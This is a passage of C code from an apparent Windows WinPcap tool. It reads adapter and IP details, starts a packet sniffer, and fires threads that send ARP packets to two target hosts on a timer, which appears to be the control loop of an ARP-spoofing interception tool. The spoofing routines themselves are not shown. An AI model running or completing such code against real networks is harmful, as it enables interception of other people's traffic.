{
printf("PacketOpenAdapter Error: %d\n",GetLastError());
return -1;
}
if(PacketGetNetType(lpAdapter,&ntype))
{
printf("\n\t\t*** Host Information ***\n");
printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);
printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);
}
npflen=sizeof(ipbuff);
if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen))
{
sin=*(struct sockaddr_in *)&(ipbuff.Broadcast);
printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));
sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask);
printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));
sin=*(struct sockaddr_in *)&(ipbuff.IPAddress);
printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));
myip=ntohl(sin.sin_addr.s_addr);
printf("[MACAddress:]");
}
else
{
printf("\nNot get enough data\n");
//PacketFreePacket(lppackets);
PacketCloseAdapter(lpAdapter);
return -1;
}
printf("\n");
oipandmac.ip=oIP;
toipandmac.ip=toIP;
myipandmac.ip=myip;
sendtoOip=FALSE;
thread1=CreateThread(NULL,0,sniff,NULL,0,&threadid1);
Sleep(300);
thread2=CreateThread(NULL,0,sendARPPacket,(LPVOID)&myip,0,&threadid2);
Sleep(100);
CloseHandle(thread2);
thread2=CreateThread(NULL,0,sendARPPacket,(LPVOID)&toIP,0,&threadid2);
Sleep(10);
CloseHandle(thread2);
sendtoOip=TRUE;
Sleep(200);
thread2=CreateThread(NULL,0,sendARPPacket,(LPVOID)&oIP,0,&threadid2);
Sleep(10);
CloseHandle(thread2);
// WaitForSingleObject(thread1,INFINITE);
thread3=CreateThread(NULL,0,sendSRTimer,(LPVOID)&toIP,0,&threadid3);
WaitForSingleObject(thread3,INFINITE);
PacketCloseAdapter(lpAdapter);
return 0;
}
……